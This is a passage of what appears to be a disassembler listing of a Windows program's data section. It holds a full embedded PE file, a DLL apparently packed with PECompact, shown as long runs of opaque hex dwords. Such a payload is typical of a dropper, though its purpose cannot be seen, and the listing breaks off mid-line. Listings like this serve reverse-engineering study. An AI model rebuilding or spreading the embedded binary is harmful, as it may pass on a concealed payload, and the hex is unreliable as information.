0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4093C0 db 0 ; DATA XREF: __setmbcp+5Co ; __setmbcp+AFo ... byte_4093C1 db 0 ; DATA XREF: _parse_cmdline+3Fr ; _parse_cmdline+84r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4094C4 dd 0 ; __setmbcp+6Ew ... dword_4094C8 dd 320000h ; __heap_init+29r ... dd 5 dup(0) dword_4094E0 dd 8A0EF0h ; __ioinit+45r ... dword_4094E4 dd 3Fh dup(0) dword_4095E0 dd 20h ; __ioinit:loc_4037AFr ... dword_4095E4 dd 1 dword_4095E8 dd 1 dword_4095EC dd 0 dword_4095F0 dd 0 dword_4095F4 dd 0 dword_4095F8 dd 142340h dd 281h dup(0) dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0D8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0F59C1331h, 3 dup(0A6F27275h), 0A6F86D9Dh, 0A6F27246h dd 0A6FC6EF6h, 0A6F2727Ch, 0A6E16D17h, 0A6F27270h, 0A6F37275h dd 0A6F27247h, 0A6F96D9Dh, 0A6F27271h, 0A6F474CDh, 0A6F27274h dd 0A6F66D9Dh, 0A6F27274h, 68636952h, 0A6F27275h, 2 dup(0) dd 4550h, 2014Ch, 40942F98h, 2 dup(0) dd 210E00E0h, 6010Bh, 4A00h, 3000h, 0 dd 1B39h, 1000h, 6000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 1C000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 0B078h, 3Ch, 0B0C8h, 8Ah, 0B000h, 58h, 4 dup(0) dd 0B058h, 18h, 14h dup(0) dd 7865742Eh, 74h, 0A000h, 1000h, 3A00h, 400h, 50454332h dd 2 dup(0) dd 0E0000020h, 7273722Eh, 63h, 101E6h, 0B000h, 0A00h, 3E00h dd 3 dup(0) dd 0E0000020h, 20h dup(0) dd 0C000h, 0 dd 0BA00h, 55h dup(0) dd 247C0083h, 0A750108h, 240074FFh, 0AE804h, 593001h ; [00000006 BYTES: COLLAPSED FUNCTION DllMain(x,x,x). PRESS KEYPAD "+" TO EXPAND] dw 8B55h dd 4D8BEC00h, 49C0330Ch, 8F90083h, 24FF6677h, 10168F8Dh dd 82201000h, 0D058EB3Ah, 0BEB5A06h, 1475FF51h, 0B133B02h dd 0C3BEB85h, 7CEBAC70h, 802E22Eh, 0EBD30FD0h, 0FE810E7Dh dd 0EB0CC483h, 2C02FEFh, 0EB595929h, 0B08055Ah, 63C25D50h dd 2E662C17h, 3A790333h, 9E54E78Bh, 47867977h, 8B8264E7h dd 0C14C8BC1h, 44889ADh, 8F080673h, 0C0C3808h, 0D000C70Bh dd 0D851C60h, 59C7610h, 0A3102D0Eh, 56C93C07h, 5DF18B2Eh dd 0F6F8000Bh, 7485E844h, 0CC05607h, 8B596205h, 0C25E02C6h dd 1C70004h, 0D31532D9h, 33C22780h, 0C085F6h, 0CA3B1D74h dd 0F08B0974h, 10408B16h, 0F375170Ch, 850C0B10h, 0E39B9F6h dd 618350F0h, 0C35E80B0h, 44B8B58h, 7040A316h, 35C32C0Eh dd 5D16355Ah, 7425C534h, 22D31DCh, 0CE8B068Bh, 9BC050FFh dd 0ECEB1076h, 8EE529B3h, 0C9854782h, 4917C074h, 16EB4010h dd 11A1C3F6h, 452BC9CBh, 7DC7C53Bh, 415BC206h, 4ACEF0EBh dd 865E2744h, 6D2C083Ah, 7459131Dh, 0F3D0011h, 0FFC850C0h dd 2DB90852h, 0B59E6702h, 0CB326BFh, 0CB0C3AABh, 52AE0D15h dd 0B81526F7h, 0E2EE102Ah, 0C77CD714h, 15F07A18h, 0FF793357h dd 4E113C13h, 3584E1Ch, 189A5F3Eh, 0C78BE904h, 8445F35Fh dd 0C2608310h, 67518BA3h, 51136ECEh, 4E372ECCh, 827CB49h dd 532C9C58h, 5759F045h, 3305F98Bh, 0F4B9DBh, 440096h dd 4D750E39h, 58890E89h, 0B05E2C5Eh, 10C5E2Ah, 447B70Fh dd 3435FF50h, 15FF1387h, 8980C8C4h, 468D1046h, 206A0014h dd 745E8850h, 0B39877FFh, 14C05D1Dh, 83D320F8h, 6A34C605h dd 168B5640h, 0EE52100Ch, 5B2E84B3h, 18B0B68h, 4ED4006Ah dd 362F4CA3h, 8BFF0008h, 0A84B0504h, 6906441Eh, 343FDC0h dd 9EC331C0h, 0A35A0026h, 0F8C1010Fh, 7FFF2510h, 3F38D64h dd 38C311A2h, 17EC812Bh, 0B1000954h, 3A00BB16h, 2EB2002Ch dd 178103Dh, 0FACC858Dh, 6053FFFFh, 0BD80D7A1h, 9FEEC2Ch dd 38145C4Ch, 5E74600Ch, 6817180Eh, 1C718564h, 580D7CD6h dd 0F6AC17EAh, 4E2EB734h, 3B2E7D12h, 584C3E0Dh, 8A9C5760h dd 15345803h, 0C7FE70F0h, 192B104h, 13AC7F65h, 0E885B608h dd 505E572Fh, 151A7021h, 0E814B604h, 485A680Ch, 93F7844h dd 0F9EFD9BBh, 126B4486h, 1000A66Ch, 4589F73Bh, 17674F4h dd 7274C73Bh, 1A57026Ah, 0F091639h, 0B7078005h, 0B4B80005h dd 0C012F954h, 45C71C29h, 480013F8h, 5F813500h, 458D5756h dd 8B181977h, 419ACF06h, 6CD88B16h, 99F83206h, 0A100B92Eh dd 2FF4FAD8h, 128F9F7h, 5D30DA02h, 0C505E2FFh, 0FF2046C0h dd 752DF84Dh, 6D160CBEh, 5C907CD8h, 0F500B157h, 0C3C9A9C5h dd 0B10419C2h, 43FC0E9h, 9D18B9E0h, 0BB09D178h, 6A6591B0h dd 73E26446h, 0AEE46803h, 0F006C711h, 82E5D0A4h, 3E6EA351h dd 0D3B0CD36h, 1466F168h, 3B0AC1BDh, 3A6AC359h, 683E0516h dd 4109008Bh, 7C30B943h, 4EB00A13h, 66796A67h, 6110F865h dd 72451EF9h, 4F453733h, 0B5E4638h, 62155468h, 2ED43071h dd 3912196Ah, 5F9FD10Bh, 0A040C16h, 586A2158h, 0B5EDE03h dd 8B803539h, 447E0125h, 717B78A1h, 1CB00462h, 0F6022F3Dh dd 74830C40h, 983C690Dh, 0F823837Ah, 1005EFFh, 14FE8347h dd 23175B7Ch, 0B034FF0Bh, 0C00C6E41h, 0B0248359h, 3B462D00h dd 0BC7C8843h, 86714EDAh, 5C615351h, 18187D8Bh, 517D58AFh dd 5228C45h, 0FF85FC7Dh, 8B078189h, 190775DFh, 68FE13Ch dd 76588BB6h, 46F70B66h, 38C20C0Ch, 18584615h, 0EB26141Bh dd 1B5DBA07h, 4E8BC0C0h, 0E12E810Ch, 742CC908h, 45C1929h dd 3B00228Ch, 72FB8BD8h, 57F88B02h, 0FF17B857h, 11067A36h dd 0C57E291Bh, 0BF703E5Fh, 1601DF2Bh, 7EEB087Dh, 72145D06h dd 0BD97246h, 67100E68h, 75050F3Fh, 9C7D8379h, 8B05C24Eh dd 0F7D233C3h, 16406B9Ch, 42EBFA2Bh, 7626FB3Bh, 570E851Eh dd 16DA3EDEh, 98014774h, 5AD82B1Bh, 0B03E720Bh, 29EBFC05h dd 0F56AEC1h, 0FA6800BEh, 59422D0Dh, 3D46ABFBh, 4BA4C5BAh dd 5A59A5DCh, 9D78A77Fh db 0, 85h word_40A89A dw 0DB1Bh ; DATA XREF: .text:00408750o ; .text:00408794o ... dd 3913850Fh, 0E230C900h, 0B7C58313h, 0FC0B8B20h, 2BC78B65h dd 5CC46A74h, 5809FEE7h, 9DCF465Dh, 8966C108h, 93E084Dh dd 0E39C073Ah, 3EBF00Ch, 0F327B38Bh, 0B962A1Bh, 0C83B2383h dd 0BF08632h, 99E5336h, 0CD4FF72h, 0C1DF032Dh, 4D3B4B04h dd 0A52E0CC5h, 679E65FDh, 0C1C0FD3Fh, 5E50C22Bh, 151EF753h dd 3649F229h, 2937FBD0h, 0EBD803E0h, 0B36184Dh, 61EC5014h dd 71038828h, 67FF4386h, 45B98A79h, 0E58FB233h, 3562E676h dd 0C7EBD904h, 0CE2B5B62h, 0E58FE73Eh, 0CEC830Bh, 630865E9h dd 27188B24h, 1A5F5639h, 7D0A5A6Ch, 0E55F8903h, 5EA15358h dd 7771ED19h, 5460C33Bh, 165B7CFCh, 0D60C578Bh, 0ED96C231h dd 5C386678h, 0A050904h, 4F8B078Bh, 2BD8FE80h, 0B0C2F6D9h dd 9CF85D33h, 8B00D6FAh, 5FAC1DEh, 41FE383h, 6095148Bh dd 820EC97Ah, 8004DAEFh, 0D18B9DC0h, 7305D03Bh, 0A3A8022h dd 9581C265h, 0F1EB42F8h, 75803060h, 5C71B12h, 1693E860h dd 9D839595h, 0B9B850FFh, 2C0063FCh, 0DD822B9h, 429847F6h dd 0A1842E0Fh, 8B7AE51Fh, 0E18D246h, 2C05521h, 0C203C12Bh dd 0C62B98DAh, 0E66B384Dh, 9D8D1F21h, 0C1096B1Bh, 3038BE6h dd 66061E70h, 6A336F6Ah, 0B7C14E25h, 1D7501BFh, 3808478Bh dd 2C80399h, 0B73C13Bh, 8AD83880h, 47F04008h, 0EB2D200Dh dd 0FC162E34h, 0B8A031h, 8B93BB02h, 0B203936h, 0E20D77h dd 8C1F60Ch, 0F60B0574h, 607404C5h, 7818470Bh, 0EDE664Eh dd 272629Ah, 0DCFC8EC5h, 0FC135BB2h, 6A6DC103h, 0C90878D1h dd 0C0A80188h, 7C8B6F8Dh, 677FD924h, 0FF0BDAB3h, 4384301h dd 5D750B02h, 960BEF24h, 75151D89h, 10CE10Dh, 59216244h dd 479D133h, 0A85935E2h, 2407C0C1h, 0EB2170FCh, 34B0A814h dd 7CB3A810h, 4C48186h, 0CEC77AC4h, 578C98E1h, 0F3140CE6h dd 33DCB116h, 0F02B8C9h, 49C13695h, 0DEB1330h, 0D577DB53h dd 0F71B8C24h, 0C3013A70h, 7595C750h, 1A163C03h, 21A28757h dd 0D2D390C3h, 17BE1BA4h, 734E9B09h, 70FF30BEh, 828CCD7Bh dd 158B8F1Dh, 0A8300AD2h, 65CD6C0Dh, 0F22BF106h, 3B040630h dd 7316B5CCh, 0C51E523Ah, 0ED67C083h, 6F1C582Dh, 6A7BA3DBh dd 0D2B2EE1h, 0B4A31868h, 0F9C10104h, 880C8D02h, 5C457989h dd 11689F8h, 8C0B0583h, 4D8D404h, 0D8F7CE09h, 4FF671Bh dd 68C34802h, 5DBCEE80h, 10EEB88Ch, 1528D63Dh, 7B2186Ah dd 838CD8A1h, 8005B20h, 1A41A32Dh, 7E80D9C3h, 0F524E658h dd 5B14C59Ch, 1E178C76h, 3C4C3D2Ch, 69A19279h, 8A246012h dd 7BA6D0Dh, 0E1007C18h, 12692DC1h, 0B87440C4h, 0C7780DEAh dd 18E03696h, 0F76CC12Ch, 201E4809h, 8B84A316h, 0E321C146h dd 50784CA3h, 41F5C18h, 1E96781Fh, 1F17F0DDh, 480525FFh dd 0CC2B9B1h, 0D8CE5B4Eh, 39F27516h, 1B7ECB13h, 0D380D1Dh dd 5C75F3A4h, 5D4D179Dh, 3DCA16ADh, 0CBEB6882h, 0CAEB2EC2h dd 9D537C39h, 752B315Ah, 658CA34Ch, 90B2496h, 48353D83h dd 642640C5h, 0FE2BD1B4h, 88A122C1h, 0F7E68776h, 313E3209h dd 0F32ED009h, 894508F7h, 68CB7C0Ah, 4E964704h, 0F477840Fh dd 0A633EA67h, 0B4534C99h, 0F5374380h, 0F62D233Fh, 75030546h dd 334BC26h, 0B3252159h, 74B28566h, 85BA811h, 8B3CE5EDh dd 97BF0293h, 0A11ACF5Dh, 0F8ABE554h, 310D858Bh, 3C970E96h dd 0C8B60158h, 0B1152327h, 684E23C2h, 2E614A69h, 59C37068h dd 0E6F47959h, 0C7D02470h, 5958DF24h, 0F4D95638h, 25168F9Ah dd 874C1D0Ah, 26355FDCh, 8F5E7A40h, 235E2328h, 0FFCF83E1h dd 402E261Ah, 0EBAD98A6h, 232F3A47h, 1ECE0634h, 3707F82Eh dd 87E69330h, 50B8E02Fh, 2F055C7Dh, 311258EBh, 0BB5B91Ch dd 0D3A3E60Dh, 1C6606h, 9CC79EC5h, 0ED9CB406h, 85CF86A1h dd 0F0726A56h, 6C2E335Eh, 66CEBC5h, 0A67D66AEh, 19A3C616h dd 0A1046A85h, 0B1BE3034h, 0D1EA7856h, 1261216Fh, 58D8956h dd 8C318BFh, 7A1E1A6Ah, 0B82E384Ch, 8D8E170h, 489F078h dd 20F2D811h, 4C18303h, 1C72F03Dh, 4BACEA38h, 1C80B92Dh dd 0F28BC206h, 768B8A78h, 0F006E204h, 44DA8B4h, 983056Fh dd 203080FFh, 0E0F98142h, 0D47C29B8h, 1081928Dh, 0A03D809Bh dd 0F8E4EB34h, 8D6DE739h, 0A531B7Ch, 8B880D4Bh, 82F1C65Eh dd 0ACF3B9C7h, 5AC6CC18h, 885807EBh, 4E1B116h, 0C7100762h dd 83A1DB17h, 0FE24086Ch, 2CEEC959h, 2C187402h, 8CFE6583h dd 20C0656h, 6C0CA966h, 81172259h, 596D90FEh, 0B007C7DAh dd 0A10B7589h, 697F31FEh, 47B8DD8h, 34593B31h, 5738D8A1h dd 4264742Ch, 3E05C38Ch, 488DF82Bh, 580E398Bh, 70491808h dd 7E044EEAh, 2143106Fh, 1AE06FB4h, 0FB8333EBh, 8B16CFB0h dd 0CB5ADA8Ch, 80E13AE8h, 0EBC8048Dh, 0CB84D05h, 440F603h dd 682E6620h, 98CD5377h, 8A2B594Fh, 8880C70h, 258AC6CDh dd 5F26C58Dh, 0D83952F8h, 74215F84h, 0EB93A106h, 0B6445D0Fh dd 8EB2C98h, 0E9BFF40Dh, 0D887DA0Ch, 0E6041418h, 3B53B670h dd 80604E0Dh, 0F0BABACh, 11017983h, 8C99C199h, 8A02FCAEh dd 0A8043044h, 7357321Ch, 96503301h, 7D16AF60h, 0F03102F8h dd 0FF0FB4E0h, 0CA1B1A8h, 0D65157C2h, 30317A0h, 802CB7C6h dd 55C14D31h, 1021933Ah, 0B32EADCh, 0E7860F08h, 858D8311h dd 441DFBECh, 432BD898h, 4D02424Dh, 0E5297310h, 1F80FF0Ah dd 0F980098Ah, 8054B30Ah, 0C6F009h, 0DFB0400Dh, 0C8168B40h dd 8429958Dh, 0E5CDCA2Bh, 0CC7CC171h, 3BE5BEB3h, 0F44557C4h dd 0E55012C5h, 71009C0Dh, 3034FF11h, 4E30038Fh, 724358C3h dd 390143F4h, 7CC73B02h, 2B83980Bh, 85A74543h, 8B8A7210h dd 4B138BB9h, 0E68B1EFAh, 5FFD6091h, 5843056Ah, 4C758A8Ah dd 0E309DCF1h, 225B64A3h, 308F0F2Ch, 0BAEE2C15h, 0C7EB021Eh dd 0C9F44D8Dh, 0CC2934DBh, 3D64EED0h, 21D1EE0Bh, 0A7EBF80Bh dd 0A69C712Ch, 0A531C04Eh, 863DEB59h, 6C3896CEh, 21008D84h dd 8C1A1889h, 0C3BCD0Dh, 0C51C6BB3h, 6CA13D89h, 9F6216EBh dd 83C961F0h, 0C6825h, 662B89B7h, 1B48B86Ah, 801000h, 814028h dd 1234567h, 0DD736A90h, 0FF64500Eh, 35h, 25896400h, 0 dd 889C033h, 90909090h, 624AB232h, 5E64035Ch, 6637FA63h dd 3129B1CBh, 94989DBEh, 6BC4CC7Eh, 0C8720350h, 2E97CF1Fh dd 0E872A43h, 746FD24h, 0CB8349D0h, 8464FCEh, 6898311h dd 97AC675Fh, 3E79C31Bh, 5764788Eh, 63F65933h, 38BC5C66h dd 38864D77h, 0E332488Bh, 0E307C31h, 0F10714Ch, 9B56259Ah dd 1D405853h, 0B41AEB43h, 75001615h, 22C2113h, 41AEE6Ch dd 0F80B0275h, 0B32D411Fh, 7470B838h, 4ADC0241h, 0CC5A75h dd 5791C3D3h, 3ECAD8B4h, 0B6E66564h, 3B72C0D1h, 60876FEh dd 820FF83Bh, 0F7A6E178h, 443803C7h, 0C1031475h, 0E28302E9h dd 2D2C03h, 0A5F32972h, 689524FFh, 0C79C225Ch, 41CBA5Ah dd 7204E983h, 65E01263h, 244481ABh, 5C218085h, 8D2E2443h dd 905C1E78h, 2179FC07h, 0BC047290h, 80E003E7h, 68AD123h dd 8A020788h, 47880146h, 205C501h, 0E30856DCh, 0C78BC659h dd 58CC675Ch, 5A498Dh, 9C25DD2Bh, 2027101h, 5ED6A6D1h dd 462E2390h, 19475A21h, 3FDE8C3Ah, 4C065F5Ch, 0E74403B9h dd 79349E3Ch, 1CE7242Ch, 8E448B80h, 2E4489E4h, 7907E48Fh dd 0ECE7E8E8h, 0F079EC9Eh, 9EF4E7F0h, 0F8F879F4h, 0FC99FCE7h dd 0F68D548Bh, 0F0030081h, 6C7CF803h, 0F0FF5A8Bh, 7903802Eh dd 0E3E8A08Ch, 625F5E31h, 9DD39075h, 0F9F30BE9h, 0AFA311F7h dd 0BA0A6B0Dh, 9C8D8D2Bh, 7C13675Ah, 0E77FFC39h, 0FD0D7024h dd 76FCE3B1h, 77506777h, 71D9F742h, 6D23B065h, 3E8F6AEFh dd 1D2B3AF9h, 2CBA2308h, 0B189017h, 7B03382Eh, 36D8960h dd 2E6F3A9Ch, 5A584E03h, 0B63B564Fh, 1F3F97DDh, 0EE8BA35Bh dd 0B4EF1C02h, 2D29EF63h, 24EF2790h, 0EE8BAB5Bh, 0AEEF16ABh dd 5A104593h, 0F15BE767h, 0BC7F72B4h, 9EC403E7h, 0DCD479CCh dd 0F79EE4E7h, 0E51C67B9h, 1807CF1Ch, 0F314183Ch, 3C10CF14h dd 0CF30C10h, 83C08CFh, 7E04F204h, 2E1F5E97h, 185C0510h dd 3CF32803h, 0B7B78BD6h, 876FB53Dh, 83BF0F76h, 0B797133Eh dd 0AD4B6DB4h, 188B233Fh, 0BC07F9C4h, 0A8062D3h, 0F947201Bh dd 10311533h, 43EED401h, 0CDEAD309h, 0F9FDDB8Ah, 18162623h dd 0DC082802h, 0A3895138h, 921C6C85h, 568B2367h, 82C202EAh dd 0EA193475h, 3F67E259h, 0F9F53810h, 0B1FFC121h, 0D8BD3CD1h dd 0BFE3CF3Ch, 44F8AA0h, 0E1805F0Ch, 2D8CCE82h, 0CE80060Bh dd 81383876h, 80A67E41h, 0C34E9A18h, 0B50C4713h, 19C96B4h dd 67485C0Eh, 1B6180Fh, 0C947C841h, 0C4CE74D3h, 20181023h dd 99A2C709h, 711F02A6h, 8191046h, 0A53A9557h, 0C5CE63D0h dd 0C91DC6A2h, 0C55DCF5Dh, 5F43CF5Fh, 8A2CC1E8h, 0AF650450h dd 0C19ED373h, 0F86583h, 83169526h, 8B166E7Dh, 1773CACFh dd 63622631h, 0A4304804h, 503408Ah, 16740A3Ch, 776433FFh dd 4F0C420Dh, 0C550B301h, 61C6002Fh, 0F0A05D7h, 0AB792B81h dd 0D9511019h, 75D8347Dh, 950D873Ah, 3B595C80h, 0AD1575C1h dd 0D89C2D1h, 17135C1Fh, 6D183117h, 1A173CF8h, 0CE2E5043h dd 214CDC17h, 0B988558Bh, 4CDC6255h, 740D3719h, 0F85C809Ch dd 0D231853Ah, 3F1B8E74h, 40C0400h, 0FB2402EBh, 8ED0884Eh dd 59DCD9F9h, 2C7687D6h, 0EEE10989h, 0FEE00CBh, 3C008A08h dd 0E2AE6872h, 190D3C0Ch, 47B5C6A2h, 72A04D33h, 6349DD16h dd 18976839h, 0E2402821h, 0C08306A3h, 5EEB0208h, 0D0717C6h dd 0EB174447h, 2B9ECB73h, 0DA33FC8Bh, 0F94EA921h, 0C9F30AD0h dd 22814709h, 417400F4h, 1F2CD80Fh, 2D8A132Ch, 70171FB9h dd 470B8B46h, 31448801h, 3B29EB05h, 0B754730h, 0FF7D8016h dd 16052C63h, 18EB0A16h, 0FF6A184Dh, 1A1A13F3h, 74391974h dd 0BF77CF04h, 6763927Bh, 10EBC447h, 0CD745DE5h, 929E06F3h dd 6B898E4h, 8C462B59h, 43B08664h, 0A135DE1Ah, 6054A574h dd 68D0FF1Ch, 68E204Bh, 1B701068h, 68050B52h, 470E0Ch dd 2A900D53h, 8E3C05CCh, 7B6C173Ah, 128B98h, 357590Eh dd 3D390624h, 11581CA8h, 1575A1C1h, 58F37640h, 70F53CE6h dd 53000C86h, 245C8B11h, 383DCF8Ch, 0D71D887Bh, 3C751465h dd 81E52F69h, 3991B22h, 0FC718D56h, 0CE2663Bh, 1895F959h dd 3B51044Dh, 0ED73C5A0h, 2C682D5Eh, 40241D92h, 34685959h dd 307710B4h, 5BDB8502h, 0D9444E75h, 8F86DB69h, 5F233879h dd 0C53BC5B4h, 0AC0D73B9h, 6D9C657h, 0C1C351C6h, 555344F2h dd 0E7E27E8Ch, 6D88F01h, 8E59F08Bh, 1B6A2014h, 358962D8h dd 375CEADAh, 0C520E37Bh, 29A7868Dh, 1A7304A0h, 0E386880h dd 46C6FF1Bh, 23A116C5h, 82D509Ch, 0EB011B05h, 24448DE2h dd 0F250F468h, 42F5E366h, 0C54C6300h, 445C62D4h, 3A0B7BCEh dd 8D3000B9h, 0B80468h, 0D84AB408h, 7C2C2E55h, 39467602h dd 527DC173h, 4C7764BFh, 0A31C738Fh, 7F835E38h, 8D078905h dd 0C17EB388h, 60808561h, 8E087E73h, 0B98B3640h, 8108C005h dd 0E47CB3C1h, 0BC042618h, 0BB7C0549h, 0B58B06EBh, 36AA0E09h dd 461D467Eh, 8A368163h, 1E98004Dh, 2E743301h, 7963A623h dd 11EB4CA5h, 40CD1E90h, 3EFEB69Ah, 5C899098h, 2882F08h dd 45470448h, 8760C383h, 2FBA7CFEh, 0ECDB33h, 8DFFD83Ch dd 7526D834h, 58704Dh, 0A7816C04h, 58F66A0Bh, 0C30C88EBh dd 0C05BD848h, 4858B9F5h, 83F88BE0h, 1773B0FFh, 9066B557h dd 894A680Ch, 28A3E58h, 4E0BB8CEh, 0BBEB4004h, 0CF03F808h dd 80B0A1Dh, 800504EBh, 0FB834380h, 9B2D7C03h, 36B8B8FFh dd 0A7C3F444h, 5D625B5Dh, 0BEC46344h, 0BFB47C36h, 60E00A51h dd 9C590026h, 0FE5B81C7h, 6CE534EFh, 3B4D5376h, 16D3AC2Ch dd 0C18B7373h, 0F9C1F008h, 3C3A8934h, 0C20F888Dh, 62043177h dd 42D05600h, 2D96E933h, 17DC0C88h, 3D4FEB37h, 34681834h dd 54C4B91Ch, 9265D8D1h, 0C0B6E45Dh, 728C3A8Ch, 3E0980F3h dd 20EB0271h, 6480078Bh, 8DFD7430h, 0FEE6CC8Eh, 69A068F5h dd 58B856C1h, 7772B890h, 48B3BEAEh, 2E0952Ch, 78AFCh, 1A74613Ch dd 0F74723Ch, 87773C21h, 0C012249h, 0C96301B9h, 23A2EEBh dd 8EB01CEh, 5CB409B9h, 5A02CE23h, 608A5A08h, 0C33A4784h dd 0F1E340D8h, 6E46D33Bh, 0C0BE0FC2h, 7F54C2C2h, 83603EC0h dd 742C2BE8h, 194C0445h, 0E04E0E2h, 48581C74h, 71AC4Ch dd 8616739h, 75CCA31Eh, 8305FC74h, 0B7EB20C9h, 0E98E14B3h dd 0C8A2D7C6h, 7D36C510h, 35910996h, 754C8698h, 0FE08C473h dd 82FC37C5h, 0CE81020Fh, 0EB17F42Eh, 66D6B882h, 75C80244h dd 0B8C80B59h, 0B0CB1A0Ch, 36746265h, 70484848h, 58740B07h dd 21060412h, 71914075h, 803BDD81h, 1E6D40CDh, 75F863C1h dd 6EA5F2Eh, 0BFFFE681h, 0B31607CEh, 2CCEA817h, 0ED064000h dd 743AE516h, 0DBD2CC62h, 80418E0Bh, 8DA468C6h, 23182B4Eh dd 2634C2FAh, 0B88ECE64h, 0E67DCB22h, 0D6631A5Bh, 5C1A1814h dd 709924CBh, 458E581h, 4621889h, 1C02C108h, 55834889h dd 5D158B63h, 33DAB8FCh, 5A83EDh, 57D53BC0h, 8B205D7Eh dd 0FB56D11Dh, 0CD3B02B0h, 0F6157409h, 0A901841h, 2F4047h dd 0EC7CC23Bh, 0D8B3FEBh, 24EB8334h, 206AB080h, 8D02E7C1h dd 59C9B279h, 0F415736h, 73C8EB0h, 74FD2B3Bh, 3BF705FDh dd 4EEFCDF5h, 6E899C85h, 7B6E758Bh, 2C766E16h, 1C63042Eh dd 8CA72626h, 8E0D1C3h, 16C17566h, 0B40F7557h, 0E849F949h dd 8B0762CFh dd 5AE30EE8h, 0BB6C530Eh, 0DCBA8659h, 81336515h, 870FE01Dh dd 0A00F3BC0h, 8BDF2418h, 2680E866h, 8C3DDCEDh, 7090F818h dd 59447773h, 1AE2C756h, 6786EA2Ch, 2BC104CBh, 55C53122h dd 0AE9C3528h, 8B65F02Bh, 4814FC43h, 0C430C63Bh, 536450C6h dd 1B1134E2h, 0A2530D8h, 63DF59E5h, 79DE80EAh, 5EA288C9h dd 0C20F2EC4h, 2D56F0D6h, 0B95C67F2h, 4145E746h, 1FEB2FF4h dd 0B853C53Fh, 75FC5840h, 3D831D0Dh, 8BDCD5C0h, 429C14DBh dd 0E4AEDF36h, 0FF1D8513h, 991C63F8h, 1FB37C0Eh, 868B893Ch dd 0E5501F6Fh, 5382FCA0h, 0DEC309E8h, 67607B91h, 4C3A0DCAh dd 1D90F054h, 0ABDAACCAh, 0E004834Dh, 0E32F2277h, 0B9F61D08h dd 0DB571631h, 13107417h, 758973DDh, 66599FDEh, 0B933E2Fh dd 891ACE2Bh, 7305FA1Ch, 11389C73h, 0DA6850E8h, 940F0CEAh dd 6800E7C0h, 0B4A339B8h, 0D1329925h, 0D9CBA1B6h, 648F363Ah dd 51A76D7Ah, 5D05323h, 0DB381D39h, 2D15E915h, 0FD8C4676h dd 437A3C39h, 6C3D0BC0h, 0A58D9B0Eh, 4EED681Bh, 0FF5B7804h dd 0D7FF2C36h, 6A95B908h, 2DFF0A6Ch, 65890476h, 149A82D5h dd 48D83B43h, 3199CE7Ch, 0BB3C15C7h, 4B789F1Dh, 33743E4Dh dd 0B46AED68h, 2A3C3301h, 13742060h, 68A54C3h, 0A6612932h dd 66933D3Ch, 3701FE3Ah, 748D59EBh, 0E84E9806h, 0BD37D5ACh dd 50210D04h, 433BEBA8h, 8818E1F3h, 0F1C787EAh, 74AFCE09h dd 1F380241h, 57553974h, 907039DAh, 0B03F8045h, 0B6552249h dd 0C33B3134h, 2E06148Bh, 3F935771h, 0B4FB3642h, 3591688h dd 750537FDh, 0B4FF5DC9h, 89E6F084h, 2C0BB41Dh, 0CCCB1E89h dd 7B643813h, 0E6AF601h, 0BE62BD75h, 682BE4ACh, 6199E82Eh dd 0A166E353h, 0A2E3EC0Eh, 0FE8BC198h, 0C4261838h, 0F8B58569h dd 0FC038D50h, 62A5A493h, 0DF462F20h, 885AD8DCh, 16AF93D4h dd 0A179D618h, 2FA9F308h, 0B2427CFh, 35565086h, 0D7B9FC51h dd 3D600348h, 0A39CC25Ah, 0CE06E87Ch, 4C9C9837h, 142BE2A6h dd 218301ABh, 0D9758B00h, 255A8DC7h, 0ED081988h, 37ED8C26h dd 7D8932E2h, 22008D2Ch, 508A4475h, 804001h, 297422FAh dd 2574D284h, 0D2B60F01h, 792182F6h, 0E75683A6h, 3001FF18h dd 58A066Fh, 46168810h, 0D50BB340h, 6DCEEBB1h, 58E6590Ch dd 40B446B9h, 43EB1CE1h, 0B605116Ch, 4004E21Eh, 0F6DA44C1h dd 19E0F483h, 5C1E8818h, 86206546h, 9657975h, 75090860h dd 0C7C4E4CCh, 0B11C3348h, 6FF664Ah, 18167Ch, 1E67634Eh dd 2B44E7E0h, 27A20545h, 76432603h, 0E8C87B17h, 55568BBCh dd 86022B3Dh, 852C081Dh, 755C22E0h, 43400B04h, 4092F7EBh dd 1C3F62Ch, 0EB25752Ah, 0D006DA2h, 22017880h, 81E3B38Dh dd 0EBC28B1Dh, 56A99603h, 88D28DB8h, 1CC21818h, 5C689C2h dd 0D31BC2D1h, 2D570C4Bh, 288430Eh, 465C06C6h, 754BB1C1h dd 0A78067F3h, 3F834A8Bh, 0A750005h, 0C63F8AA3h, 0F94E3A74h dd 28F22DACh, 4FE2DE19h, 1B2F1F06h, 79400F13h, 1157703h dd 21424A2Bh, 73306A1Bh, 200EC50Fh, 3C7C2E9h, 8E722783h dd 86E9BB14h, 0C1C35DFBh, 77B0A149h, 796CEC5Ah, 4C2C807Ah dd 1BF3DB56h, 16A8FF33h, 0D5360475h, 630B4C0Eh, 213AE074h dd 0EB36ED74h, 7C3D5828h, 0FB3B4730h, 0F7EA1798h, 0BC02C71Bh dd 4EC7225Eh, 15B60133h, 0C57DA481h, 3FE70C43h, 15C21E27h dd 9C1E3966h, 402CEB1Ah, 18170840h, 8206F975h, 30C62BF2h dd 0E160782Fh, 8EB1F8D1h, 0CE026440h, 8933035Dh, 9B341141h dd 3B0235D4h, 373274EBh, 13852532h, 1C882374h, 24EA9C55h dd 219425BBh, 0EF47BE3Bh, 5C44279Bh, 3799706h, 749E6356h dd 53EBC3A0h, 4C2C2497h, 0B185E7A5h, 8C3C7470h, 0AE49CC60h dd 7B3858B6h, 0B04B4FBh, 40C72BF6h, 0CD66386Ah, 0CE509B95h dd 0F6791869h, 550BEB12h, 0C1CCD2B4h, 